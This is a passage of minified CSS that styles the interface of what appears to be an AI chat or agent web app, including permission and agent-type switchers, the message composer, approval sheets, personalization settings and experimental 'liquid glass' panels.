ease}.permission-switcher__exec{color:var(--text-secondary)}.permission-switcher__exec--warn{color:var(--state-warning)}.permission-switcher__caret.open{transform:rotate(270deg)}.permission-switcher__item{border:none;background:transparent;text-align:left;border-radius:10px;padding:8px 10px;cursor:pointer;color:var(--text-primary);display:flex;flex-direction:column;gap:2px}.permission-switcher__item:hover{background:var(--theme-chip-bg)}.permission-switcher__item.active{background:var(--theme-tab-active)}.permission-switcher__item-label{font-size:13px;font-weight:600}.permission-switcher__item-desc{font-size:11px;color:var(--text-secondary);line-height:1.35}.permission-switcher__item-label--warn{color:var(--state-warning)}@media (max-width: 768px){.permission-switcher{left:var(--composer-side-control-offset);bottom:-28px}.context-usage-switcher{right:calc(var(--composer-side-control-offset) - var(--context-ring-visual-inset));bottom:-28px}.permission-switcher__menu{left:auto;right:0;width:min(250px,100vw - 40px);max-width:250px}.permission-switcher__menu--split{width:min(560px,100vw - 40px);max-width:min(560px,100vw - 40px);grid-template-columns:1fr}}.stadium-shell{--stadium-radius: 18px;position:relative;z-index:2;width:100%;padding:10px;border-radius:var(--stadium-radius);border:1px solid var(--border-default);background:var(--surface-raised);box-shadow:none;display:flex;gap:12px;transition:box-shadow .45s cubic-bezier(.4,0,.2,1),border-color .45s cubic-bezier(.4,0,.2,1)}.stadium-shell.is-multiline{border-color:var(--border-strong);box-shadow:none}.stadium-shell.is-focused,.stadium-shell.has-text{border-color:var(--border-default);box-shadow:none}.stadium-shell.is-multiline.is-focused,.stadium-shell.is-multiline.has-text{border-color:var(--border-strong);box-shadow:none}.input-stack{display:flex;flex-direction:column;flex:1 1 auto;gap:6px}.input-row{display:flex;align-items:flex-start;gap:12px;width:100%}.input-actions{display:flex;align-items:center;justify-content:space-between;width:100%}.stadium-input-rich{position:relative;flex:1 1 auto;min-width:0;display:grid;padding:2px 0 0 6px}.stadium-input-rich .stadium-input{grid-area:1/1}.stadium-input-editor .skill-md-link,.stadium-input-editor .file-md-link{color:var(--accent);font-weight:inherit;border-radius:4px;padding:0 1px;white-space:nowrap;cursor:pointer}.stadium-input-editor .file-md-link{color:var(--state-info)}.stadium-input-editor p.is-editor-empty:first-child:before{content:attr(data-placeholder);color:var(--text-tertiary);float:left;height:0;pointer-events:none}.image-inline-row{display:flex;flex-wrap:wrap;gap:6px;padding:0 4px;font-size:12px;color:var(--text-secondary);line-height:1.4}.image-name{white-space:nowrap;display:inline-flex;align-items:center;gap:6px}.image-remove-btn{border:none;background:transparent;color:var(--text-secondary);cursor:pointer;padding:0 4px;font-size:12px;line-height:1;transition:color .15s ease,transform .15s ease}.image-remove-btn:hover{color:var(--state-danger);transform:scale(1.05)}.stadium-input{flex:1 1 auto;width:100%;border:none;resize:none;background:transparent;font-size:14px;line-height:1.4;font-family:inherit;color:var(--text-primary);white-space:pre-wrap;word-break:break-all;overflow-wrap:normal;padding:0;min-height:20px;outline:none;overflow-y:auto;scrollbar-width:none;transition:none;position:relative;z-index:1}.stadium-input-tiptap{display:block}.stadium-input-tiptap.is-disabled{opacity:.5;cursor:not-allowed}.stadium-input-editor{cursor:text;min-height:20px;outline:none;overflow-y:auto;scrollbar-width:none;white-space:pre-wrap;word-break:break-all;overflow-wrap:normal}.stadium-input-editor p{margin:0}.stadium-input-editor::-webkit-scrollbar{width:0;height:0}.stadium-input:disabled{opacity:.5;cursor:not-allowed}.stadium-input::-webkit-scrollbar{width:0;height:0}.stadium-btn{flex:0 0 28px;width:28px;height:28px;border:none;border-radius:7px;background:transparent;color:var(--text-primary);font-size:16px;cursor:pointer;display:flex;align-items:center;justify-content:center;transition:background .14s ease,color .14s ease}.stadium-btn:disabled{opacity:.4;cursor:not-allowed}.stadium-btn:hover:not(:disabled){background:var(--hover-bg)}.stadium-btn.send-btn{background:var(--accent);color:var(--on-accent);box-shadow:none}.stadium-btn.send-btn:hover:not(:disabled){background:var(--accent-hover)}.stadium-btn.send-btn:disabled{opacity:.4;box-shadow:none}.stadium-btn.send-btn span{position:relative;top:0}.stadium-btn.send-btn .send-icon{width:0;height:0;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:9px solid var(--on-accent);margin-left:4px}.stadium-btn.send-btn .stop-icon{width:11px;height:11px;border-radius:2px;background-color:var(--on-accent);display:block}.stadium-btn.send-btn:disabled .send-icon{border-left-color:color-mix(in srgb,var(--on-accent) 40%,transparent)}.stadium-btn.send-btn:disabled .stop-icon{background-color:color-mix(in srgb,var(--on-accent) 40%,transparent)}.input-actions-right{display:flex;align-items:center;gap:6px}.voice-btn{color:var(--text-primary)}:root[data-theme=classic] .voice-btn,:root:not([data-theme]) .voice-btn{color:var(--accent)}.voice-btn:hover:not(:disabled){background:var(--hover-bg)}.voice-btn:disabled{opacity:.4;cursor:not-allowed}.voice-btn .mic-icon{display:block;flex-shrink:0}.voice-btn--recording{background:var(--hover-bg)!important}.voice-btn--disabled{opacity:.5;cursor:not-allowed;color:var(--text-secondary)}.voice-wave{display:flex;align-items:center;justify-content:center;gap:2.5px;height:18px}.voice-wave-bar{display:inline-block;width:2.5px;height:16px;border-radius:2px;background:currentColor;transform-origin:center;animation:voice-wave-pulse .9s ease-in-out infinite}.voice-wave-bar:nth-child(1){animation-delay:0s;animation-duration:.75s}.voice-wave-bar:nth-child(2){animation-delay:.15s;animation-duration:.9s}.voice-wave-bar:nth-child(3){animation-delay:.3s;animation-duration:1.05s}.voice-wave-bar:nth-child(4){animation-delay:.1s;animation-duration:.85s}@keyframes voice-wave-pulse{0%,to{transform:scaleY(.25);opacity:.6}50%{transform:scaleY(1);opacity:1}}.file-input-hidden{position:absolute;opacity:0;width:0;height:0;pointer-events:none}.quick-menu{position:absolute;left:0;bottom:calc(100% + 14px);display:flex;flex-direction:column;gap:6px;width:230px;padding:12px;background:var(--surface-soft);border:1px solid var(--border-default);border-radius:18px;box-shadow:none;z-index:30;pointer-events:auto}.menu-entry{border:none;background:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-tap-highlight-color:transparent;padding:10px 12px;border-radius:12px;font-size:14px;text-align:left;color:var(--text-primary);display:flex;align-items:center;justify-content:space-between;cursor:pointer;transition:background .15s ease;min-height:44px}.menu-entry:focus,.menu-entry:focus-visible{outline:none}.menu-entry:hover:not(:disabled){background:var(--hover-bg)}.menu-entry.active{background:var(--chip-bg);color:var(--text-primary);font-weight:600}.menu-entry:disabled{opacity:.45;cursor:not-allowed}.menu-entry.has-submenu .entry-arrow{margin-left:10px;color:var(--text-secondary)}.quick-submenu{position:absolute;top:0;left:calc(100% + 12px);width:230px;min-width:0;padding:12px;border-radius:18px;border:1px solid var(--border-default);background:var(--surface-soft);box-shadow:none;z-index:31}.submenu-status,.submenu-empty{font-size:13px;color:var(--text-secondary)}.submenu-list{display:flex;flex-direction:column;gap:6px}.blank-hero-overlay{position:absolute;top:0;right:0;bottom:0;left:0;display:flex;align-items:center;justify-content:center;flex-direction:column;pointer-events:none;z-index:1;gap:10px;padding-bottom:160px;color:var(--text-primary)}.blank-hero-text{font-size:32px;color:var(--text-primary);font-weight:600;margin:0;max-width:min(88vw,680px);text-align:center;line-height:1.3;text-wrap:balance}.composer-container{position:relative;height:var(--composer-base-height, calc(90px + var(--app-bottom-inset)));flex:0 0 var(--composer-base-height, calc(90px + var(--app-bottom-inset)));transition:transform .3s ease;z-index:2}.composer-container.blank-hero-mode{transform:translateY(calc(-38vh + var(--composer-growth-height, 0px)))}@media (max-width: 768px){.input-area{padding:0 12px}.blank-hero-text{font-size:28px}.blank-hero-overlay .icon-lg{width:44px;height:44px}.composer-container.blank-hero-mode{transform:translateY(calc(-38vh + var(--composer-growth-height, 0px)))}.blank-hero-overlay{padding-bottom:160px}}.quick-submenu.tool-submenu,.quick-submenu.settings-submenu{top:auto;bottom:0}.menu-entry.submenu-entry{width:100%;justify-content:space-between}.menu-entry.submenu-entry .entry-arrow{color:var(--text-secondary)}.tool-submenu-list{max-height:244px;overflow-y:auto;overscroll-behavior:contain;padding-right:2px;scrollbar-width:none;-ms-overflow-style:none}.tool-submenu-list::-webkit-scrollbar{width:0;height:0;display:none}.menu-entry.disabled{opacity:.5}.quick-menu-enter-active,.quick-menu-leave-active{transition:opacity .2s ease,transform .2s ease}.quick-menu-enter-from,.quick-menu-leave-to{opacity:0;transform:translateY(8px)}.submenu-slide-enter-active,.submenu-slide-leave-active{transition:opacity .2s ease,transform .2s ease}.submenu-slide-enter-from,.submenu-slide-leave-to{opacity:0;transform:translate(10px)}@media (max-height: 900px){.input-area{bottom:12px}}.settings-menu{position:absolute;right:0;bottom:calc(100% + 12px);background:var(--surface-soft);border:1px solid var(--border-default);border-radius:12px;box-shadow:none;padding:12px;display:flex;flex-direction:column;gap:8px;min-width:150px;z-index:40}.settings-menu:before{content:"";position:absolute;bottom:-10px;right:20px;border-width:10px 10px 0 10px;border-style:solid;border-color:var(--surface-soft) transparent transparent transparent;filter:drop-shadow(0 3px 4px rgba(61,57,41,.12))}.settings-menu.tool-menu{right:auto;left:0;min-width:520px;max-width:580px;padding:16px 20px}.settings-menu.tool-menu:before{left:32px;right:auto}.tool-menu .tool-menu-status,.tool-menu .tool-menu-empty{font-size:13px;color:var(--text-secondary);text-align:left}.tool-menu .tool-menu-list{display:grid;grid-template-columns:repeat(4,minmax(110px,1fr));gap:12px}.tool-menu .tool-category-item{display:flex;flex-direction:column;align-items:center;gap:10px;padding:14px 10px;border:1px solid var(--border-default);border-radius:10px;background:var(--surface-soft);font-size:13px;aspect-ratio:1/1;min-height:0;justify-content:space-between}.tool-menu .tool-category-item.disabled{opacity:.55}.tool-menu .tool-category-label{flex:1;font-size:13px;font-weight:500;color:var(--text-primary);display:inline-flex;flex-direction:column;align-items:center;justify-content:center;gap:6px;text-align:center;white-space:nowrap;line-height:1.4}.tool-category-icon{font-size:20px}.tool-menu .tool-category-toggle{width:100%!important;display:inline-flex;align-items:center;justify-content:center;padding:6px 12px;text-align:center;white-space:nowrap;margin-top:auto}.menu-btn{width:100%;padding:8px 14px;border:1px solid var(--border-default);border-radius:8px;font-size:13px;font-weight:500;text-align:left;background:var(--surface-soft);color:var(--text-primary);cursor:pointer;transition:all .2s ease}.menu-btn:not(:disabled):hover{background:var(--surface-soft);transform:translateY(-1px)}.menu-btn:disabled{opacity:.5;cursor:not-allowed}.menu-btn.compress-entry{background:var(--surface-soft);color:var(--state-success)}.menu-btn.compress-entry:not(:disabled):hover{background:var(--surface-soft)}.menu-btn.clear-entry{background:var(--surface-soft);color:var(--state-danger)}.menu-btn.clear-entry:not(:disabled):hover{background:var(--surface-soft)}.settings-menu-enter-active,.settings-menu-leave-active{transition:opacity .18s ease,transform .18s ease}.settings-menu-enter-from,.settings-menu-leave-to{opacity:0;transform:translateY(6px)}.mobile-approval-overlay{pointer-events:auto;justify-content:center!important}.mobile-approval-overlay .mobile-panel-sheet--approval{pointer-events:auto;background:var(--surface-panel)}@media (max-width: 768px){.mobile-panel-sheet--approval .approval-btn{border-radius:8px;padding:8px 14px;font-size:13px}.mobile-panel-sheet--approval .approval-btn--approve{background:var(--accent);color:var(--on-accent);border-color:var(--accent)}.mobile-panel-sheet--approval .approval-btn--reject{background:transparent;border-color:var(--theme-control-border-strong)}.mobile-panel-sheet--approval .approval-btn--switch{background:transparent;border-color:var(--accent);color:var(--accent)}.mobile-panel-sheet--approval .approval-card{border-color:var(--theme-control-border);background:var(--theme-surface-soft)}.mobile-panel-sheet--approval .sidebar.right-sidebar{background:transparent!important}.mobile-panel-sheet--approval .sidebar-header,.mobile-panel-sheet--approval .sidebar .sidebar-header{background:transparent!important;border-color:var(--border-default);padding:0 16px!important}.mobile-panel-sheet--approval .approval-close-btn{background:transparent!important;border-radius:0!important;width:auto!important;height:auto!important;padding:4px!important;font-size:24px!important}}.user-question-mini-dot{position:absolute;right:22px;bottom:calc(100% + 6px);z-index:12;min-width:18px;height:18px;padding:0 5px;border:1.5px solid var(--theme-surface-strong);border-radius:999px;background:var(--mac-close);color:var(--on-accent);cursor:pointer;font-size:11px;line-height:15px;font-weight:700;display:inline-flex;align-items:center;justify-content:center}.input-actions-left{display:flex;align-items:center;gap:6px}.agent-type-switcher{position:relative;display:inline-flex;align-items:center}.agent-type-switcher__btn{border:none;background:transparent;color:var(--text-primary);border-radius:7px;padding:4px 10px;font-size:13px;line-height:1.2;height:28px;cursor:pointer;box-shadow:none;display:inline-flex;align-items:center;gap:5px;white-space:nowrap;transition:background .14s ease,color .14s ease}.agent-type-switcher__btn:hover:not(:disabled){background:var(--hover-bg)}.agent-type-switcher__btn:disabled{opacity:.55;cursor:default}.agent-type-switcher__caret{font-size:13px;color:var(--text-secondary);transform:rotate(90deg);transition:transform .18s ease;line-height:1}.agent-type-switcher__caret.open{transform:rotate(270deg)}.agent-type-switcher__menu{position:absolute;left:0;bottom:calc(100% + 14px);width:220px;max-height:240px;overflow-y:auto;display:flex;flex-direction:column;gap:6px;padding:12px;border:1px solid var(--border-default);border-radius:18px;background:var(--surface-soft);box-shadow:none;z-index:40}.agent-type-switcher__menu-item{border:none;background:transparent;text-align:left;border-radius:12px;padding:10px 12px;min-height:48px;cursor:pointer;color:var(--text-primary);display:flex;flex-direction:column;gap:2px;justify-content:center;transition:background .15s ease}.agent-type-switcher__menu-item:hover,.agent-type-switcher__menu-item.is-active{background:var(--hover-bg)}.agent-type-switcher__menu-label{font-size:13px;font-weight:600}.agent-type-switcher__menu-desc{font-size:11px;color:var(--text-secondary);line-height:1.35}@media (max-width: 768px){.agent-type-switcher__menu{width:min(220px,100vw - 40px)}}.personal-page-overlay{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--theme-overlay-scrim);-webkit-backdrop-filter:blur(12px);backdrop-filter:blur(12px);display:flex;align-items:center;justify-content:center;z-index:400;padding:20px;transition:opacity .25s ease,backdrop-filter .25s ease;will-change:opacity,backdrop-filter}.personal-page-card{width:min(96vw,1020px);height:calc(100vh - 40px);max-height:760px;background:var(--theme-surface-card);border-radius:24px;border:1px solid var(--theme-control-border);box-shadow:var(--theme-shadow-strong);padding:40px;text-align:left;color:var(--text-primary);display:flex;flex-direction:column;overflow:hidden}.personal-page-header{display:flex;align-items:flex-start;justify-content:space-between;gap:16px;margin-bottom:24px}.personal-page-actions{display:flex;gap:10px;align-items:flex-start}.personal-page-header h2{font-size:24px;margin:0}.personal-page-header p{margin:6px 0 0;color:var(--text-secondary);font-size:14px}.personal-page-close{align-self:flex-start;padding:8px 18px;border-radius:999px;border:none;background:linear-gradient(135deg,var(--accent) 0%,var(--accent-strong) 100%);color:var(--surface-card);font-size:13px;font-weight:600;cursor:pointer;box-shadow:0 14px 28px color-mix(in srgb,var(--accent-strong) 20%,transparent);transition:transform .2s ease,box-shadow .2s ease}.personal-page-close:hover{transform:translateY(-1px);box-shadow:0 18px 34px color-mix(in srgb,var(--accent-strong) 30%,transparent)}.personal-page-logout{align-self:flex-start;padding:8px 16px;border-radius:999px;border:1px solid var(--theme-control-border-strong);background:var(--theme-surface-soft);color:var(--text-primary);font-size:13px;font-weight:600;cursor:pointer;transition:background .2s ease,box-shadow .2s ease}.personal-page-logout:hover{background:var(--theme-surface-strong);box-shadow:var(--theme-shadow-soft)}.personalization-body{display:flex;flex-direction:column;gap:20px;flex:1 1 auto;min-height:0;height:100%;overflow:hidden}.personal-toggle{display:flex;align-items:center;justify-content:space-between;gap:12px;padding:16px 18px;border-radius:16px;background:var(--theme-surface-muted);border:1px solid var(--theme-control-border)}.toggle-text{display:flex;flex-direction:column;gap:6px}.toggle-title{font-weight:600}.toggle-desc{color:var(--text-secondary);font-size:13px}.toggle-switch{position:relative;width:46px;height:26px}.toggle-switch input{opacity:0;width:0;height:0}.switch-slider{position:absolute;top:0;right:0;bottom:0;left:0;background-color:var(--theme-switch-track);border-radius:30px;transition:background-color .2s ease}.switch-slider:before{content:"";position:absolute;left:4px;top:4px;width:18px;height:18px;border-radius:50%;background:var(--surface-raised);transition:transform .2s ease}.toggle-switch input:checked+.switch-slider{background:var(--accent)}.toggle-switch input:checked+.switch-slider:before{transform:translate(20px)}.personal-toggle-row{margin-bottom:18px}.toggle-row{display:flex;align-items:center;gap:12px;padding:12px 14px;border-radius:14px;border:1px solid var(--theme-control-border);background:var(--theme-surface-muted);cursor:pointer;transition:border-color .2s ease,box-shadow .2s ease,background .2s ease;position:relative}.toggle-row:hover{border-color:var(--theme-control-border);box-shadow:none;background:var(--theme-surface-muted)}.toggle-row:focus-within{border-color:var(--theme-control-border);box-shadow:none}.toggle-row input{position:absolute;opacity:0;pointer-events:none}.toggle-row span{color:var(--text-primary);font-weight:500}.personalization-layout{display:grid;grid-template-columns:200px minmax(0,1fr);gap:20px;align-items:stretch;min-height:0;flex:1 1 auto;height:100%}.personal-page-tabs{display:flex;flex-direction:column;gap:12px;padding:20px;border-radius:20px;border:1px solid var(--theme-control-border);background:var(--theme-surface-soft);align-self:flex-start;height:auto;max-height:72vh;overflow-y:auto;overflow-x:hidden;flex-wrap:nowrap;-ms-overflow-style:none;scrollbar-width:none}.personal-page-tabs::-webkit-scrollbar{width:0;height:0}.personal-tab-button{border:none;border-radius:16px;padding:14px 18px;text-align:left;font-weight:600;background:transparent;color:var(--text-secondary);cursor:pointer;transition:background .2s ease,color .2s ease,box-shadow .2s ease}.personal-tab-desc{display:block;font-size:11px;font-weight:500;color:var(--text-tertiary);margin-top:2px;letter-spacing:.4px}.personal-tab-button.active{background:var(--theme-tab-active);color:var(--accent);box-shadow:0 10px 24px var(--border-default)}.personal-tab-button:focus-visible{outline:2px solid color-mix(in srgb,var(--accent-strong) 40%,transparent);outline-offset:2px}.personalization-content-shell{display:flex;flex-direction:column;min-height:0;flex:1 1 auto;height:100%}.personalization-content{position:relative;overflow-y:auto;border-radius:24px;border:1px solid var(--theme-control-border);background:var(--theme-surface-soft);min-height:0;flex:1 1 auto;height:100%;scrollbar-width:none;-ms-overflow-style:none}.personalization-content::-webkit-scrollbar{display:none}.personalization-content .personal-page{width:100%;padding:16px 26px 26px}@media (max-width: 1024px){.personalization-layout{grid-template-columns:1fr}.personal-page-tabs{flex-direction:row;padding:14px;height:auto;flex-wrap:wrap}.personal-tab-button{flex:1;text-align:center}}@media (max-width: 768px){.personal-page-overlay{padding:0;align-items:stretch}.personal-page-card{width:100%;height:100%;max-height:none;border-radius:0;padding:60px 16px 16px;display:flex;flex-direction:column}.personal-page-header{flex-direction:column;align-items:stretch;gap:12px;margin-bottom:16px}.personal-page-header h2{font-size:20px}.personal-page-header p{font-size:13px}.personal-page-actions{flex-direction:row;width:100%;gap:8px}.personal-page-logout,.personal-page-close{flex:1;padding:10px 16px;font-size:13px;text-align:center}.personalization-body{flex:1;min-height:0;overflow:hidden}.personal-form{height:100%;display:flex;flex-direction:column}.personalization-layout{display:flex;flex-direction:column;gap:12px;flex:1;min-height:0}.personal-page-tabs{flex-direction:row;padding:8px;height:auto;max-height:none;width:100%;max-width:100%;overflow-x:auto;overflow-y:hidden;flex-wrap:nowrap;gap:8px;border-radius:12px;flex-shrink:0;-webkit-overflow-scrolling:touch;scroll-behavior:smooth;touch-action:pan-x;overscroll-behavior-x:contain}.personal-tab-button{flex:0 0 auto;min-width:100px;padding:10px 14px;text-align:center;white-space:nowrap;font-size:13px;touch-action:pan-x}.personal-tab-desc{display:none}.personalization-content-shell{flex:1;min-height:0;display:flex;flex-direction:column}.personalization-content{flex:1;min-height:0;border-radius:12px;padding:0;touch-action:pan-y pan-x}.personalization-content .personal-page{padding:12px;height:100%;overflow-y:auto;touch-action:pan-y pan-x}.personalization-sections{display:flex;flex-direction:column;gap:12px}.personal-left-column,.personal-right-column{width:100%;max-width:none}.personal-section{padding:14px;border-radius:12px}.personal-field{font-size:13px}.personal-field input{padding:10px 12px;font-size:14px}.personal-toggle{padding:14px;border-radius:12px}.toggle-title{font-size:14px}.toggle-desc{font-size:12px}.consideration-list{max-height:200px}.consideration-item{padding:10px;font-size:13px}.tone-preset-row{flex-direction:column;align-items:flex-start;gap:8px}.tone-preset-buttons{width:100%}.tone-preset-buttons button{font-size:12px;padding:6px 12px}.behavior-section{padding:0;border-radius:0;overflow:visible}.behavior-field{gap:12px;overflow:visible}.field-title{font-size:15px}.field-desc,.behavior-desc{font-size:13px}.run-mode-options{display:flex!important;grid-template-columns:none;flex-direction:row;overflow-x:auto;overflow-y:hidden;gap:10px;padding-bottom:8px;scroll-snap-type:x mandatory;-webkit-overflow-scrolling:touch;width:100%;max-width:100%;touch-action:pan-x;overscroll-behavior-x:contain}.run-mode-options::-webkit-scrollbar{height:4px}.run-mode-options::-webkit-scrollbar-track{background:transparent}.run-mode-options::-webkit-scrollbar-thumb{background:var(--text-muted);border-radius:4px}.run-mode-card{flex:0 0 280px;min-width:280px;max-width:280px;padding:12px;border-radius:12px;scroll-snap-align:start;touch-action:pan-x}.run-mode-title{font-size:14px}.run-mode-desc{font-size:12px}.run-mode-badge{font-size:11px;padding:2px 6px}.thinking-presets{display:flex;flex-direction:row;overflow-x:auto;overflow-y:hidden;gap:8px;padding-bottom:8px;scroll-snap-type:x mandatory;-webkit-overflow-scrolling:touch;width:100%;max-width:100%;touch-action:pan-x;overscroll-behavior-x:contain}.thinking-presets::-webkit-scrollbar{height:4px}.thinking-presets::-webkit-scrollbar-track{background:transparent}.thinking-presets::-webkit-scrollbar-thumb{background:var(--text-muted);border-radius:4px}.thinking-presets button{flex:0 0 auto;min-width:100px;max-width:150px;padding:10px;scroll-snap-align:start;touch-action:pan-x}.thinking-input-row{flex-direction:column;align-items:stretch;gap:10px}.thinking-input-row label,.thinking-input-row input{width:100%}.tool-category-grid{gap:8px}.tool-category-chip{padding:8px 10px;font-size:12px}.personal-form-actions{flex-direction:column;gap:10px;padding:12px 0 0}.personal-form-actions .primary{width:100%;padding:12px 20px}.personal-status-group{width:100%;justify-content:center}.personal-actions-row{margin-top:12px}.personal-actions-row .personal-form-actions{max-width:none;width:100%}.theme-grid{display:flex;flex-direction:row;overflow-x:auto;overflow-y:hidden;gap:12px;padding-bottom:8px;scroll-snap-type:x mandatory;-webkit-overflow-scrolling:touch;width:100%;max-width:100%;touch-action:pan-x;overscroll-behavior-x:contain}.theme-grid::-webkit-scrollbar{height:4px}.theme-grid::-webkit-scrollbar-track{background:transparent}.theme-grid::-webkit-scrollbar-thumb{background:var(--text-muted);border-radius:4px}.theme-card{flex:0 0 260px;min-width:260px;max-width:260px;padding:14px;scroll-snap-align:start;touch-action:pan-x}.experiment-hero{grid-template-columns:1fr;gap:16px}.experiment-visual{min-height:160px;border-radius:20px}.experiment-copy h3{font-size:20px}.experiment-toggle-card{padding:16px;border-radius:16px}.experiment-toggle-info h4{font-size:16px}.experiment-note{padding:14px 16px;border-radius:14px}.admin-monitor-panel{padding:16px;border-radius:16px}.admin-monitor-title-row h3{font-size:18px}.admin-monitor-desc{font-size:13px}.admin-monitor-actions{flex-direction:column;align-items:stretch}.admin-monitor-button{width:100%;justify-content:center;padding:12px 20px}.section-note{font-size:11px}}.behavior-section{display:flex;flex-direction:column;gap:24px;background:transparent;border-radius:0;padding:0;border:none}.behavior-field{display:flex;flex-direction:column;gap:12px}.behavior-field-header{display:flex;flex-direction:column;gap:4px}.behavior-field-header .field-title{font-weight:600}.behavior-field-header .field-desc{color:var(--text-secondary);font-size:13px}.experiment-page{display:flex;flex-direction:column;gap:28px;background:var(--theme-surface-soft);border-radius:24px;border:1px solid var(--theme-control-border);padding:28px 30px}.experiment-hero{display:grid;grid-template-columns:minmax(240px,1fr) minmax(0,1.4fr);gap:28px;align-items:center}.experiment-visual{position:relative;border-radius:32px;min-height:220px;overflow:hidden;background:radial-gradient(circle at 20% 20%,var(--surface-soft),var(--glass-tint-blue)) var(--glass-base-deep);box-shadow:0 25px 60px var(--glass-shadow-deep),inset 0 1px color-mix(in srgb,var(--on-accent) 40%,transparent)}.experiment-visual:after{content:"";position:absolute;top:0;right:0;bottom:0;left:0;background:linear-gradient(140deg,color-mix(in srgb,var(--on-accent) 16%,transparent),transparent);mix-blend-mode:screen}.experiment-visual-glow{position:absolute;width:140%;height:140%;background:radial-gradient(circle,color-mix(in srgb,var(--on-accent) 30%,transparent),transparent 60%);filter:blur(50px);transform:translate(-15%,-20%);opacity:.8;animation:experimentDrift 8s ease-in-out infinite alternate}.experiment-grid{position:absolute;top:0;right:0;bottom:0;left:0;background-image:linear-gradient(var(--hover-bg) 1px,transparent 1px),linear-gradient(90deg,var(--hover-bg) 1px,transparent 1px);background-size:32px 32px;opacity:.4}.experiment-orb{position:absolute;width:120px;height:120px;border-radius:50%;filter:blur(1px);background:radial-gradient(circle,color-mix(in srgb,var(--state-info) 80%,transparent),transparent);animation:experimentDrift 10s ease-in-out infinite alternate}.experiment-orb.orb-one{top:20%;left:14%}.experiment-orb.orb-two{bottom:10%;right:8%;background:radial-gradient(circle,color-mix(in srgb,var(--accent) 85%,transparent),transparent)}.experiment-copy h3{font-size:24px;margin-bottom:12px}.experiment-copy p{color:var(--text-secondary);line-height:1.6}.experiment-subtitle{text-transform:uppercase;font-size:12px;letter-spacing:.4em;color:var(--accent);margin-bottom:6px}.experiment-toggle-card{display:flex;flex-wrap:wrap;gap:16px;align-items:center;justify-content:space-between;border-radius:22px;border:1px solid var(--theme-control-border);padding:20px 24px;background:var(--theme-surface-muted);box-shadow:var(--theme-shadow-mid)}.experiment-toggle-info h4{margin:0 0 6px;font-size:18px}.experiment-toggle-info p{margin:0;color:var(--text-secondary)}.experiment-toggle .toggle-text{max-width:320px}.experiment-note{border-radius:18px;padding:18px 22px;background:var(--theme-surface-muted);border:1px dashed var(--theme-control-border-strong)}.experiment-note p{margin-bottom:10px;font-weight:600}.experiment-hint-list{margin:0;padding-left:20px;line-height:1.6;color:var(--text-secondary)}.liquid-glass-stage{position:fixed;top:0;right:0;bottom:0;left:0;pointer-events:none;z-index:1200}.liquid-glass-panel{position:absolute;pointer-events:auto;border-radius:150px;overflow:hidden;box-shadow:0 4px 8px color-mix(in srgb,var(--text-primary) 25%,transparent),0 -10px 25px inset color-mix(in srgb,var(--text-primary) 15%,transparent),0 -1px 4px 1px inset var(--surface-soft);cursor:grab;background:color-mix(in srgb,var(--surface-base) 22%,transparent);touch-action:none;border:1px solid var(--border-strong)}.liquid-glass-panel:active{cursor:grabbing}.liquid-glass-panel:before{content:"";position:absolute;top:-15%;right:-15%;bottom:-15%;left:-15%;background:radial-gradient(circle at 30% 25%,color-mix(in srgb,var(--on-accent) 35%,transparent),transparent 55%),radial-gradient(circle at 80% 5%,var(--glass-tint-blue-soft),transparent 60%);opacity:.6;pointer-events:none;z-index:1}.liquid-glass-panel:after{content:"";position:absolute;top:0;right:0;bottom:0;left:0;background:linear-gradient(180deg,var(--border-default),transparent),repeating-linear-gradient(140deg,var(--hover-bg) 0 2px,transparent 2px 6px);mix-blend-mode:screen;opacity:.4;pointer-events:none;z-index:1}.liquid-glass-panel>*{position:relative;z-index:2}.liquid-glass-svg{position:absolute;top:0;right:0;bottom:0;left:0;width:100%;height:100%;pointer-events:none}.liquid-glass-specular{position:absolute;top:0;right:0;bottom:0;left:0;border-radius:inherit;pointer-events:none;background:radial-gradient(circle at 32% 18%,color-mix(in srgb,var(--on-accent) 40%,transparent),transparent 58%),radial-gradient(circle at 70% 8%,var(--glass-tint-amber),transparent 55%),radial-gradient(circle at 45% 120%,var(--glass-tint-blue-mid),transparent 45%);mix-blend-mode:screen;opacity:.85}.liquid-glass-empty{position:absolute;top:0;right:0;bottom:0;left:0;display:flex;align-items:center;justify-content:center;font-size:12px;letter-spacing:.08em;text-transform:uppercase;color:var(--surface-soft);text-align:center;padding:0 24px}.liquid-glass-toolbar{position:fixed;right:20px;bottom:20px;display:flex;gap:10px;pointer-events:auto;z-index:1210}.liquid-glass-btn{border:none;border-radius:999px;padding:9px 18px;font-size:13px;color:#fff;background:linear-gradient(135deg,color-mix(in srgb,var(--on-accent) 30%,transparent),var(--border-strong));-webkit-backdrop-filter:blur(18px);backdrop-filter:blur(18px);cursor:pointer;transition:transform .15s ease,background .2s ease}.liquid-glass-btn:hover:not(:disabled){transform:translateY(-1px);background:linear-gradient(135deg,color-mix(in srgb,var(--on-accent) 40%,transparent),color-mix(in srgb,var(--on-accent) 20%,transparent))}.liquid-glass-btn:disabled{opacity:.5;cursor:not-allowed}.liquid-glass-btn.ghost{background:color-mix(in srgb,var(--surface-base) 60%,transparent);border:1px solid color-mix(in srgb,var(--on-accent) 20%,transparent)}.liquid-glass-btn.ghost:hover{background:color-mix(in srgb,var(--surface-base) 75%,transparent)}@keyframes experimentDrift{0%{transform:translate(-5%,-5%) scale(1)}to{transform:translate(5%,5%) scale(1.05)}}@media (max-width: 960px){.experiment-hero{grid-template-columns:1fr}}.run-mode-options{display:grid;grid-template-columns:repeat(auto-fit,minmax(170px,1fr));gap:12px}@media (max-width: 768px){.run-mode-options{display:flex!important;grid-template-columns:none}}.run-mode-card{border:1px solid var(--theme-control-border);border-radius:16px;background:var(--theme-surface-soft);padding:16px;text-align:left;cursor:pointer;transition:border-color .2s ease,box-shadow .2s ease,transform .2s ease;width:100%;display:flex;flex-direction:column;align-items:flex-start;gap:6px}.run-mode-card:hover{border-color:var(--accent);transform:translateY(-1px)}.run-mode-card.active{border-color:var(--accent);background:var(--theme-tab-active);box-shadow:0 8px 20px var(--border-default)}.run-mode-card-header{display:flex;align-items:center;justify-content:space-between;gap:8px;margin-bottom:6px}.run-mode-title{font-weight:600;font-size:15px;color:var(--text-primary)}.run-mode-badge{font-size:12px;color:var(--accent);font-weight:600;background:var(--theme-badge-bg);border-radius:999px;padding:2px 8px}.run-mode-desc{color:var(--text-secondary);font-size:13px;line-height:1.4}.thinking-presets{display:flex;gap:12px;flex-wrap:wrap}.thinking-presets 